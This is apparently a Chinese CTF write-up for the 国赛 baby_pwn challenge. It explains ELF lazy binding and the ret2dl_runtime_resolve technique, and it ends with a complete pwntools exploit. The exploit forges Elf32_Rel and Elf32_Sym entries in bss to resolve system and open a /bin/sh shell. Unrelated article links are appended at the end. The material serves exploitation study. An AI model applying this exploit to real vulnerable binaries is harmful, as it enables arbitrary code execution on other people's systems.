国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造

0x01 ELF文件的动态链接之延迟绑定

在动态链接下,程序模块之间包含了大量的函数引用,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位,且一部分函数在执行结束都不会用到,如果一开始链接好实际上是一种浪费,于是ELF采取的这种技术。

0x02 延迟绑定的实现过程

以国赛baby_pwn为例

程序第一次执行read函数,会进入plt表。

之后会跳转至ds:[0x804a00c]处的地址。将参数0和ds:[0x804a004](link_map的指针)处的地址压入栈中,之后执行dl_runtime_resolve函数

dl_runtime_resolve函数

1.访问linkmap的指针访问.dynmaic,取出.dynstr,.dynsym,.rel.plt的指针

2. .rel.plt+第二个参数求出当前重定位表项Elf32_rel的指针。该结构体如下,大小为8个字节

typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
} Elf32_Rel;

查看一下本题目的read函数的Elf32_rel结构体

3.将Elf32_rel结构体中r_info>>8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针

该结构体如下,长度为0x10

typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;

由于上方107>>8=1且结构体长度为0x10

这里我们可以得知st_name的值为0x20

4…dynstr + sym->st_name得出符号名字符串指针,偏移为0x20正好为read函数的字符串

5.在动态链接库查找这个函数的地址,并且把地址赋值给GOT表

6.调用这个函数

0x03利用方式

1.改写.dynamic的DT_STRTAB

若.dynmaic可写,即可改写.dynmaic中.dynstr的指针,将.dynstr的指针改动至可以操纵的内存空间,便可以执行我们想要的函数。

2.操纵第二个参数,实现伪造的效果

根据重定位的第二步.rel.plt + 第二个参数,若第二个参数值很大,那么就可以跳转至我们可以操纵的一块内存空间。便可以伪造Elf32_rel结构体中r_info,r_info伪造时要注意为0xXXXXXX07,其中0xXXXXXX为.dynsym的下标,也可以利用类似的方法进行越界至可操纵内存伪造Elf32_sym,最后伪造st_name使得.dynstr越界并且伪造字符串

baby_pwn

拿到程序,看到栈溢出漏洞

return read(0, &buf, 0x100u);

接着便是构造溢出之后的ROP链

由于没有puts,write之类函数无法泄露got表内地址,无法知道libc版本,因此无法执行system函数。于是考虑采用ret2dl-resolve技术

首先查看.dynmaic是否可写.dynmaic的地址为0x08049F14,发现其不可写。

于是考虑一下思路2。首先实现溢出,执行read函数,在bss+0x800上构造虚假的第一个参数,Elf32_rel,Elf32_sym和st_name,和函数参数最后转移栈顶转移至bss+0x800。

之后强制重定位,强制重定位后会自动执行重定位之后的函数system函数

EXP如下

#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
context.log_level='debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p=process('./nationalpwn')
#p=remote("c346dfd9093dd09cc714320ffb41ab76.kr-lab.com",56833)
elf=ELF('./nationalpwn') base_stage=0x0804a040+0x800 #objdump -h pwn|grep bss
read_plt=0x08048390 #objdump -d pwn |grep plt
gadget1=0x0804852a #ROPgadget --binary pwn |grep leave # leave |ret payload='A'*0x28+p32(base_stage) #EBP->bss_stage
payload+=p32(elf.symbols['read'])+p32(gadget1)+p32(0)+p32(base_stage)+p32(100)
#raw_input()
p.sendline(payload) #fake struct
dynsym=0x080481dc#objdump -h pwn
dynstr=0x0804827c
alarm_got=0x0804a010
fake_sym_addr=base_stage+44 index_dynsym=(fake_sym_addr-dynsym)/0x10
r_info=index_dynsym<<8|0x7
fake_reloc=p32(alarm_got)+p32(r_info)# rel alarm->system 07
st_name=fake_sym_addr+0x10-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12) plt0=0x08048380 #.plt
rel_plt=0x0804833c#rel位置
cmd='/bin/sh'
index_offset=base_stage-rel_plt+28 payload2='B'*4 #base_stage
payload2+=p32(plt0)#强制重定位,esp+4 base_stage+4
payload2+=p32(index_offset) # push reloc_arg base_stage+8
payload2+='AAAA'#返回地址 bse_stage+12
payload2+=p32(base_stage+80)#函数参数base_stage+16
payload2+='A'*8#base+stage+20
#fake_struct
payload2+=fake_reloc #base_stage+28
payload2+='B'*8#base_stage+36
payload2+=fake_sym #base_stage+44
payload2+="system\x00\x00"#base_stage+60
payload2+='A'*12#base_stage+68
payload2+=cmd+'\x00'
#gdb.attach(p)
p.send(payload2)
p.interactive()

国赛baby_pwn的更多相关文章

  1. 湘潭邀请赛+蓝桥国赛总结暨ACM退役总结

    湘潭邀请赛已经过去三个星期,蓝桥也在上个星期结束,今天也是时候写一下总结了,这应该也是我的退役总结了~ --------------------------------湘潭邀请赛----------- ...

  2. 2018年数学建模国赛B题 智能RGV的动态调度策略

    第一种情况大致思路: 每秒判断各个CNC的状态,若工作完成或者是出于空闲状态下则向RGV发出一个请求.同时,RGV每秒判断自己的状态(上下料.移动.闲置.清洗等),如果是处于闲置状态,则启用调度算法, ...

  3. 2018年第九届蓝桥杯国赛总结(JavaB组)

    懒更,之前的删了补一个国赛总结 记yzm10的第一次国赛(赛点:首都经贸大学) 第一次就拿到了国一,运气不要太好~(同组lz学长豪取国特orz) 从省赛一路水过来,总算有了点成绩.其实最后一题有些遗憾 ...

  4. 使用pwn_deploy_chroot部署国赛pwn比赛题目

    目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...

  5. 第九届蓝桥杯国赛+第二天的第11届acm省赛的总结

    第九届蓝桥杯国赛+第二天的第11届acm省赛的总结 25号坐的去北京的火车,10个小时的火车,然后挤了快两个小时的地铁,最终达到了中国矿业大学旁边的订的房间.12个小时很难受,晕车症状有点严重,吃了快 ...

  6. 2019第十届蓝桥杯省赛及国赛个人总结(java-B组)

    省赛: 今年省赛的题目比18年简单的多,基本都是暴力枚举.BFS之类.还记得去年在山师考蓝桥杯,我这种辣鸡连题目都没看懂.本以为蓝桥会变得越来越难,没想到今年就被打脸了.今年省赛后面三个编程大题一个没 ...

  7. Python小白的数学建模课-A1.国赛赛题类型分析

    分析赛题类型,才能有的放矢. 评论区留下邮箱地址,送你国奖论文分析 『Python小白的数学建模课 @ Youcans』 带你从数模小白成为国赛达人. 1. 数模竞赛国赛 A题类型分析 年份 题目 要 ...

  8. 【备考06组01号】第四届蓝桥杯JAVA组A组国赛题解

    1.填算式 (1)题目描述     请看下面的算式:     (ABCD - EFGH) * XY = 900     每个字母代表一个0~9的数字,不同字母代表不同数字,首位不能为0.     比如 ...

  9. 2018数学建模国赛总结(A题/编程选手视角)

    2018数学建模已经告一段落了,先说说基本情况吧,我们队伍专业分别为:金融(A),会计(B),计算机(我),配置还算可以,他们俩会数据分析软件也会写论文,我可以写代码,画图.他们俩打过美赛(M奖),我 ...

随机推荐

  1. C复习 (C premier plus和C和指针)

  2. bind2nd

    bind2nd template <class Operation,class T> binder2nd <Operation> bind2nd(const Operation ...

  3. DS 图解堆排

    堆排其实就是选择排序,只不过用了完全二叉树特性. 堆排思想 : 利用完全二叉树特性建堆和重复选择调整来得到有序数组. 完全二叉树有什么特性呢? 节点左对齐 ---> 层序遍历不会出现空,可以用数 ...

  4. PostgreSQL学习笔记(二)—— 概览

    数据库 创建数据库: createdb dbname 指定用户名创建数据库: createdb -U username dbname 删除数据库: dropdb dbname 访问数据库: psql ...

  5. pytest_函数传参和firture传参数request

    前言为了提高代码的复用性,我们在写用例的时候,会用到函数,然后不同的用例去调用这个函数. 比如登录操作,大部分的用例都会先登录,那就需要把登录单独抽出来写个函数,其它用例全部的调用这个登陆函数就行. ...

  6. 矩阵优化DP类问题应用向小结

    前言 本篇强调应用,矩阵的基本知识有所省略(也许会写篇基础向...). 思想及原理 为什么Oier们能够想到用矩阵来加速DP呢?做了一些DP题之后,我们会发现,有时候DP两两状态之间的转移是定向的,也 ...

  7. [NOI2019]弹跳(KD-Tree/四分树/线段树套平衡树 优化建图+Dijkstra)

    本题可以用的方法很多,除去以下三种我所知道的就还有至少三种. 方法一:类似线段树优化建图,将一个平面等分成四份(若只有一行或一列则等分成两份),然后跑Dijkstra即可.建树是$O(n\log n) ...

  8. git 学习笔记 ---标签管理

    发布一个版本时,我们通常先在版本库中打一个标签(tag),这样,就唯一确定了打标签时刻的版本.将来无论什么时候,取某个标签的版本,就是把那个打标签的时刻的历史版本取出来.所以,标签也是版本库的一个快照 ...

  9. python3的pip3安装

    ---恢复内容开始--- pip3的安装需要对应一整套python的编译工具库,所以安装好的pip3是这个样子: inear@Ai:~$ pip3 -V pip 18.1 from /usr/lib/ ...

  10. PHP获取前台传过来的时间年份,进行处理。

    在做时间区间用到一个方法,以方便在数据库中用in()的使用,这个是我同事给我的,我先保存好,以后还可以的用到. /*处理起终年月,返回中间的月份以供数据库查询使用 * @param $yearl 起始 ...